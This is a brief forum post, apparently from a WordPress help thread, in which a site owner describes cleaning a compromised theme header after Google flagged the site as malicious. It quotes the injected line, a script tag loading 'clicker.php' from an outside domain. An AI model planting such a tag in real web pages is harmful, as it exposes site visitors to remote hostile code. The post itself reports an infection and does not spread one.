I updated my wordpress a few minutes ago and the snippet that psimatrix posted is no longer in the header of my pages. I did have to manually delete the javascript snippet i originally posted from my header via wp-admin theme editor.
I also have the same thing in the header of all of my pages as well and google just starting marking my website as malicious due to this code which was somehow added to my header:
<script type="text/javascript" src="http://kvdp.be/clicker.php?id=11470364">
